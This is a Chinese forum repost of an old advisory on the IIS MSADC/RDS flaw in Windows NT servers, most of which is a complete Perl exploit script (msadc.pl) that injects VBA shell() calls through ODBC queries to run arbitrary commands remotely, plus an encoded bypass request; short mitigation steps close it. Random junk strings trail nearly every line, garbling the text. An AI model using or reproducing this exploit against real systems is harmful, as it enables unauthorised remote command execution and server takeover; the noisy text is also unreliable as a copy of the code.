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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) x3U>5F@  
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涉及程序: {' 0#<Z  
Microsoft NT server ue+{djz[4  
H n]( )/  
描述: 6yAZvX  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 LxWd_B  
[MbbL  
详细: R)SY#*Y  
如果你没有时间读详细内容的话,就删除: q7soV(P  
c:\Program Files\Common Files\System\Msadc\msadcs.dll biw . ~  
有关的安全问题就没有了。 eGpKoq7a  
~9#x=nU:+V  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 /|H9Gm  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 uH'?Ikx"  
关于利用ODBC远程漏洞的描述,请参看: 0m> 8  
W,80deT  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1+7_L`SB  
B@dCCKc%/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @b.,pwZF  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp  !j%  
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这里不再论述。 3pW4Ul@e  
1(>2tEjYT  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: rMjb,2*rC7  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Oi^cs=}  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Pn.DeoHme  
tk h *su  
~QPTs1Vk8  
#将下面这段保存为txt文件,然后: "perl -x 文件名" oyk&]'>  
vV 9vB3K5?  
#!perl } d8\ Jg  
# z6d0Y$A G  
# MSADC/RDS 'usage' (aka exploit) script +U_1B%e(%  
# y`7<c5zD  
# by rain.forest.puppy , .;0xyc  
# 0MxK+8\y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ZS]Z0iZv9  
# beta test and find errors! ^^B_z|;Aa  
,1Z([R*  
use Socket; use Getopt::Std; -D=Sj@G  
getopts("e:vd:h:XR", \%args); @^ -Y&N!b=  
>D~8iuy]8.  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ?r8hl.Z>  
.%.7~Nu,  
if (!defined $args{h} && !defined $args{R}) { RU6c 8>"  
print qq~ d-tg^Ot#  
Usage: msadc.pl -h <host> { -d <delay> -X -v } kMnG1K  
-h <host> = host you want to scan (ip or domain) oZ tCx  
-d <seconds> = delay between calls, default 1 second r`EjD}2d  
-X = dump Index Server path table, if available n@;B_Bt7  
-v = verbose PO6yE r  
-e = external dictionary file for step 5 Rj>A",  
aD'Ax\-  
Or a -R will resume a command session i+~BVb  
zP2X}VLMo  
~; exit;} </xf4.C  
m}RZ )c  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 6g" h}p\{S  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} kAPSVTH$v  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} } -;)G~h/"  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); +By'6?22  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ' F9gp!s8~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } dc1Zh W4  
"Z,T%]  
if (!defined $args{R}){ $ret = &has_msadc; >,3uu}s  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} H7;, Kr  
VR&dy|5BO  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ny$3$5/  
. "cmd /c "; ?#Z4Dg 9|  
$in=<STDIN>; chomp $in; J+ S]Qoz  
$command="cmd /c " . $in ; {GnZ@Q:F  
KZZY9  
if (defined $args{R}) {&load; exit;} =G^'wwpv(  
GCO: !,1  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; V|sV U  
&try_btcustmr; *xsBFCRU  
"P(obk  
print "\nStep 2: Trying to make our own DSN..."; L2EQ 9i'[  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; QdQ1+*/+U  
1kL8EPT%o  
print "\nStep 3: Trying known DSNs..."; \( {'Xo >(  
&known_dsn; 'xkl|P>=],  
/PTRe5-7  
print "\nStep 4: Trying known .mdbs..."; t;h`nH[  
&known_mdb; Rky]F+J  
0!lWxS0#=  
if (defined $args{e}){ *DfOm`m  
print "\nStep 5: Trying dictionary of DSN names..."; Bh cp=#  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } W~D_+[P|_  
sr&W+4T  
print "Sorry Charley...maybe next time?\n"; E/%"%&`8j  
exit; t$Rc 0  
YJ"D"QD  
############################################################################## ml1%C%  
F/>\uzu  
sub sendraw { # ripped and modded from whisker 6V JudNA  
sleep($delay); # it's a DoS on the server! At least on mine...  w0=  
my ($pstr)=@_; pUqC88*j  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ] T]{VB  
die("Socket problems\n"); 8^j~uH  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4^2>K C_  
select(S); $|=1; X]@"ZV[  
print $pstr; my @in=<S>; a0sz$u  
select(STDOUT); close(S); h`1<+1J9  
return @in; MAFdJ +n#  
} else { die("Can't connect...\n"); }} T pF [-fO  
-W('^v_*  
############################################################################## HFy9b|pjy  
[I4M K%YQ  
sub make_header { # make the HTTP request )< G(C,!,.  
my $msadc=<<EOT pl&nr7\  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 LiT%d  
User-Agent: ACTIVEDATA 0@cIj ]  
Host: $ip C){Q;`M-<  
Content-Length: $clen 9_:"`)] 3B  
Connection: Keep-Alive jmr .gW  
Fk3(( n=  
ADCClientVersion:01.06 A<)n H=G&  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 U0j>u*yE  
0N>K4ho6{  
--!ADM!ROX!YOUR!WORLD! Vl5>o$G|<.  
Content-Type: application/x-varg Y#68_%[  
Content-Length: $reqlen ={P`Tve  
C&w0HoF  
EOT L>sLb(2\i  
; $msadc=~s/\n/\r\n/g; f- 9t  
return $msadc;} fS4W*P[B3  
@y;VV*  
############################################################################## t7F0[E'=5\  
(Fzy8 s  
sub make_req { # make the RDS request {ac$4#Bp[B  
my ($switch, $p1, $p2)=@_; kMch   
my $req=""; my $t1, $t2, $query, $dsn; raPOF6-_rH  
@s-P!uCaT  
if ($switch==1){ # this is the btcustmr.mdb query nahq O|~  
$query="Select * from Customers where City=" . make_shell(); iXnXZ|M  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ) >FAtE   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} S^p b9~  
mv8H:T  
elsif ($switch==2){ # this is general make table query '1b 1N5~  
$query="create table AZZ (B int, C varchar(10))"; t(*n[7e  
$dsn="$p1";} > U?\WgE$  
Nz`8)Le  
elsif ($switch==3){ # this is general exploit table query :gwmk9LZ  
$query="select * from AZZ where C=" . make_shell(); w CLniCt  
$dsn="$p1";} AEyD?^?  
WkA47+DsV  
elsif ($switch==4){ # attempt to hork file info from index server ~+4lmslR  
$query="select path from scope()"; u5}:[4N%I  
$dsn="Provider=MSIDXS;";} #  `E  
q%;cu1^"M  
elsif ($switch==5){ # bad query %;:![?M  
$query="select"; _r3Y$^!U  
$dsn="$p1";}  : Z<\R0  
u?72]?SM  
$t1= make_unicode($query); x&;AY  
$t2= make_unicode($dsn); vm+3!s:u  
$req = "\x02\x00\x03\x00"; hTLf$_|P  
$req.= "\x08\x00" . pack ("S1", length($t1)); L.@$rFhA  
$req.= "\x00\x00" . $t1 ; !ZUUn*e{5  
$req.= "\x08\x00" . pack ("S1", length($t2)); _9lMa 7i  
$req.= "\x00\x00" . $t2 ; _1gNU]"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; /(s |'"6  
return $req;} ,V9qiu=m   
 mU4(MjP?  
############################################################################## #VX]trh,  
i`F5  
sub make_shell { # this makes the shell() statement cF15Mm2  
return "'|shell(\"$command\")|'";} ]j7`3%4uK  
@3c'4O   
############################################################################## =H;n$ -P  
R5=J:o  
sub make_unicode { # quick little function to convert to unicode S&UP;oc  
my ($in)=@_; my $out; fU$Jh/#":  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 3:jxr  
return $out;} n^[a}DX0  
Fc`IRPW<  
############################################################################## RM_%u=jC  
),N,!15j,  
sub rdo_success { # checks for RDO return success (this is kludge) 4Y59^  
my (@in) = @_; my $base=content_start(@in); Z]b;%:>=  
if($in[$base]=~/multipart\/mixed/){ J(#6Cld`c  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Nxe1^F33  
return 0;} ASy?^Jrs5  
!8UIyw  
############################################################################## FA-cTF[,(  
F*U(Wl=  
sub make_dsn { # this makes a DSN for us x @43ZH_  
my @drives=("c","d","e","f"); %_s)Gw&sq  
print "\nMaking DSN: "; cL#-vW<s3  
foreach $drive (@drives) { ^?Xs!kJP  
print "$drive: "; kB@gy}  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . A-4;$ QSm  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" IWv5UmjN  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); }w4OCN\1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; .\$A7DD+A  
return 0 if $2 eq "404"; # not found/doesn't exist =A,B'n\R  
if($2 eq "200") { mF@7;dpr  
foreach $line (@results) { *bp09XG  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} }6a}8EyFP  
} return 0;} %N&.B  
5;KJ0N*-  
############################################################################## L3\#ufytb  
npzp/mcIe)  
sub verify_exists { ' :_9o5I  
my ($page)=@_; +:^l|6%}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); [r"Oi| 8I  
return $results[0];} BJ5MCb.w  
0e0)1;t\  
############################################################################## 8'@5X-nD  
AmIW$(Ce  
sub try_btcustmr { fD[O tc  
my @drives=("c","d","e","f"); b|.Cqsb  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (]cL5o9  
KJyCfMH&:@  
foreach $dir (@dirs) { l9uocP:D  
print "$dir -> "; # fun status so you can see progress X7-*`NI^  
foreach $drive (@drives) { =cV|o]  
print "$drive: "; # ditto 6HBDs:   
$reqlen=length( make_req(1,$drive,$dir) ) - 28; NUVKAAgMX  
$reqlenlen=length( "$reqlen" ); 4r4 #u'Om  
$clen= 206 + $reqlenlen + $reqlen; zB0*KgAn{  
B /uaRi%  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); }I uqB*g[t  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} j"6|$Ze8  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Az y`4  
m2^vH+wD  
############################################################################## mWZP.w^-  
+pG+ xI  
sub odbc_error { V5$ Gb6?K  
my (@in)=@_; my $base; E0RqY3  
my $base = content_start(@in); kiJ=C2'&  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ;SI (5rS?  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Kw"e4 a  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^k7I+A  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; nxV!mh_  
return $in[$base+4].$in[$base+5].$in[$base+6];} kCD] &  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; G@Z%[YNw  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . )B $Q  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} wi+Q lf  
O^CBa$  
##############################################################################  'V^M+ng  
M`K]g&57hL  
sub verbose { [ x+ -N7  
my ($in)=@_; F% a&|X  
return if !$verbose; ppn  8  
print STDOUT "\n$in\n";} 'cc8 xC  
o_Z9\'u  
############################################################################## X<IW5*   
|Q)mBvvN  
sub save { _+ 9i  
my ($p1, $p2, $p3, $p4)=@_; & 'i_A%V  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; v`QDms,{  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ^@8XJ[C,_  
close OUT;} *cM=>3ws/  
ds+K7B$  
############################################################################## `XE>Td>Bs  
0 cKsGDm  
sub load { )t+pwh!8  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; )jl@ hnA  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ,w6?Ap  
@p=<IN>; close(IN); j[i*;0) |  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Sak^J.~G[  
$target= inet_aton($ip) || die("inet_aton problems"); sE&nEc  
print "Resuming to $ip ..."; FVl, ttW  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; FJH>P\+  
if($p[1]==1) { j?*n@'   
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; %t,42jQ9  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; e@V J-s  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 5@1h^w v  
if (rdo_success(@results)){print "Success!\n";} !VIxEu^ke  
else { print "failed\n"; verbose(odbc_error(@results));}} n:4 0T1: q  
elsif ($p[1]==3){ N[O .p]8  
if(run_query("$p[3]")){ aWimg6q  
print "Success!\n";} else { print "failed\n"; }} G"&$7!6[Y  
elsif ($p[1]==4){ V<|N}8{Z2a  
if(run_query($drvst . "$p[3]")){ P=EZ6<c3&  
print "Success!\n"; } else { print "failed\n"; }} zUJXA:L9  
exit;}  ,d/$!Yf  
2m*ugBO;  
############################################################################## 6!0NFP~b  
En7+fQ  
sub create_table { 5!9y nIC+>  
my ($in)=@_; !-T#dU  
$reqlen=length( make_req(2,$in,"") ) - 28; "k + :!D  
$reqlenlen=length( "$reqlen" ); H#GR*4x  
$clen= 206 + $reqlenlen + $reqlen; !lzj.|7=1  
my @results=sendraw(make_header() . make_req(2,$in,"")); SE(<(w  
return 1 if rdo_success(@results);  dEXhn  
my $temp= odbc_error(@results); verbose($temp); j,].88H  
return 1 if $temp=~/Table 'AZZ' already exists/; +7OE,RoQ  
return 0;} )x [=}0C  
mQ}\ptdfV  
############################################################################## chD7 ^&5]  
,e$RvFB  
sub known_dsn { z|AknEE,  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 7ojh=imY  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", (421$w,B%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 9{nU\am!\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); oIOeX1$V  
! weYOOu  
foreach $dSn (@dsns) { Ap\]v2G  
print "."; 7>7n|N  
next if (!is_access("DSN=$dSn")); `4@` G:6BL  
if(create_table("DSN=$dSn")){ 9VaSCB  
print "$dSn successful\n"; BSy4 d>  
if(run_query("DSN=$dSn")){ {DvWa|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <F_w4!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} P/~dY  
/:A239=+?  
############################################################################## E.$//P n|1  
a&[[@1OY  
sub is_access { ]lJ#|zd8o  
my ($in)=@_; PTpCiiA@  
$reqlen=length( make_req(5,$in,"") ) - 28; u (r T2  
$reqlenlen=length( "$reqlen" ); ~:!& }e5  
$clen= 206 + $reqlenlen + $reqlen; gDfM}2]/  
my @results=sendraw(make_header() . make_req(5,$in,"")); ' )F@em  
my $temp= odbc_error(@results); T2W^4)  
verbose($temp); return 1 if ($temp=~/Microsoft Access/);  H!y@.W{_  
return 0;} \2@9k`  
m|cRj{xZF  
############################################################################## &e[Lb:Uk)  
w\t  
sub run_query { 35-FD{  
my ($in)=@_; ]6=opvm  
$reqlen=length( make_req(3,$in,"") ) - 28; <9=RLENmY"  
$reqlenlen=length( "$reqlen" ); &U.y):  
$clen= 206 + $reqlenlen + $reqlen; >>J!|  
my @results=sendraw(make_header() . make_req(3,$in,"")); /KvpJ4  
return 1 if rdo_success(@results); 3kJSz-_M  
my $temp= odbc_error(@results); verbose($temp); 3_VWtGQ  
return 0;} g5Hsz,x  
N/^[c+J  
############################################################################## "J >, Hr9  
U_B`SS  
sub known_mdb { NVC$8imip  
my @drives=("c","d","e","f","g"); jT QN(a9Y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jaux:fU  
my $dir, $drive, $mdb; 4f0dc\$  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 9qZ|=r]y'  
=(k0^ #++G  
# this is sparse, because I don't know of many oDA'}[/  
my @sysmdbs=( "\\catroot\\icatalog.mdb", &P8Q|A-u  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  [7)#3  
"\\system32\\certmdb.mdb", oU 8o;zk0  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% >y q L  
uqy~hY  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", .Qj`_q6=  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 2gjA>ET`N  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Xg"Mjmr  
"\\cfusion\\cfapps\\security\\realm_.mdb", U`'w{~"D%  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", }S&SL)  
"\\cfusion\\database\\cfexamples.mdb", `V0]t_*D  
"\\cfusion\\database\\cfsnippets.mdb", s*}d`"YvH  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Ki@8  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", R ?\8SdJ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", *KV] MdS  
"\\cfusion\\database\\smpolicy.mdb", 5 4LCoG/  
"\\cfusion\\database\cypress.mdb", q`;URkjk  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", |b7>kM}"  
"\\website\\cgi-win\\dbsample.mdb", mKq9mA"(E  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", I`KN8ll  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Z#W`0G>'  
); #these are just J5rR?[i{  
foreach $drive (@drives) { z KWi9  
foreach $dir (@dirs){ &c@I4RV|q  
foreach $mdb (@sysmdbs) { !8s:3]  
print "."; Ap>n4~  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ pV-.r-P  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ~d5{Q?T)  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ T +4!g|Y  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; C"mb-n 7s  
} else { print "Something's borked. Use verbose next time\n"; }}}}} y.oJzU[p%  
,>jm|BTD {  
foreach $drive (@drives) { nocH~bAf2  
foreach $mdb (@mdbs) { pcl _$2_  
print ".";  3i$AR  
if(create_table($drv . $drive . $dir . $mdb)){ ta 4<d)nB  
print "\n" . $drive . $dir . $mdb . " successful\n"; SI(8.$1  
if(run_query($drv . $drive . $dir . $mdb)){ SO&;]YO  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; g%[Ruugu  
} else { print "Something's borked. Use verbose next time\n"; }}}} -jw=Iyv  
} f!I e  
n*xNMw1x"T  
############################################################################## mLYB6   
(jyJ-qe  
sub hork_idx { 3a S>U #  
print "\nAttempting to dump Index Server tables...\n"; p.IfJ|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Y\x Xo?  
$reqlen=length( make_req(4,"","") ) - 28; e O}mZN  
$reqlenlen=length( "$reqlen" ); +[7u>RJ  
$clen= 206 + $reqlenlen + $reqlen; <z4!m/f [(  
my @results=sendraw2(make_header() . make_req(4,"","")); _0`O}  
if (rdo_success(@results)){ ^b.J z}  
my $max=@results; my $c; my %d; U5PCj ]-Xt  
for($c=19; $c<$max; $c++){ 0\o'd\  
$results[$c]=~s/\x00//g; p5'\< gQ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; zC^Ib&gm>,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Mt:(w;Y  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; w/<hyEpxg  
$d{"$1$2"}="";} [)=FZF6kG  
foreach $c (keys %d){ print "$c\n"; } rYqvG  
} else {print "Index server doesn't seem to be installed.\n"; }} O#|E7;  
& Gt9a-ne  
############################################################################## m ;vNA  
,5*4%*n\  
sub dsn_dict { 32Z4&~ I  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); tpctz~ .  
while(<IN>){ KKzvoc?Bt  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; +Lr0i_al  
next if (!is_access("DSN=$dSn")); \3/9lE|gh  
if(create_table("DSN=$dSn")){ nNKL{Hp  
print "$dSn successful\n"; &Hqu`A/^  
if(run_query("DSN=$dSn")){ G~Sfpf  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !]nCeo  
print "Something's borked. Use verbose next time\n";}}} YGO@X(ej,  
print "\n"; close(IN);} 4SrK]+|  
6M9rC[h\  
############################################################################## .wSAysiQ|P  
#@fypCc  
sub sendraw2 { # ripped and modded from whisker one>vi`=  
sleep($delay); # it's a DoS on the server! At least on mine... >A/=eW/q  
my ($pstr)=@_; +*q@=P,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >R<fm  
die("Socket problems\n"); Vmc)or*#  
if(connect(S,pack "SnA4x8",2,80,$target)){ UK,P?_e  
print "Connected. Getting data"; ZIp=JR8o$  
open(OUT,">raw.out"); my @in; QFYy$T+W  
select(S); $|=1; print $pstr; oX~CTunP  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} qu%s 7+  
close(OUT); select(STDOUT); close(S); return @in; ^d*>P|n*@e  
} else { die("Can't connect...\n"); }} hz%IxI9  
8E+l; 2  
############################################################################## Tjqn::~D  
~aG-^BAS  
sub content_start { # this will take in the server headers *@nUas 2"  
my (@in)=@_; my $c; s|T7)PgR  
for ($c=1;$c<500;$c++) { ]N_^{k,  
if($in[$c] =~/^\x0d\x0a/){ s|'L0` <B  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } v3Yj2LSqx  
else { return $c+1; }}} D.b<I79bX  
return -1;} # it should never get here actually YP,PJnJU8  
)|x5#b-lz  
############################################################################## 6]S.1BP  
GB3B4)cX4Y  
sub funky { KoJG! Rm  
my (@in)=@_; my $error=odbc_error(@in); f,>i%.  
if($error=~/ADO could not find the specified provider/){ {@Ac L:Eit  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; }o- P   
exit;} r.;iO0[/  
if($error=~/A Handler is required/){ df& |Lc1J  
print "\nServer has custom handler filters (they most likely are patched)\n"; w ZAXfNA  
exit;} -; $/<  
if($error=~/specified Handler has denied Access/){ IcQ!A=lB  
print "\nServer has custom handler filters (they most likely are patched)\n"; [ )~@NN  
exit;}} us%RQ8=k  
a7G2C oM8  
############################################################################## 9K<a}QJP  
w>_EM&r6~u  
sub has_msadc { |$2N$6\SP  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); H~]o]uAi"  
my $base=content_start(@results); TP::y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,0]28 D  
return 0;} /H@")je  
o q)"1  
######################## ZiYzsn  
{C6;$#7P  
@0,dyg<$>  
解决方案: cV,Dl`1r  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll  LB7I`W  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 y7EX&  
_J~ta.  
拿出来充数 哈哈
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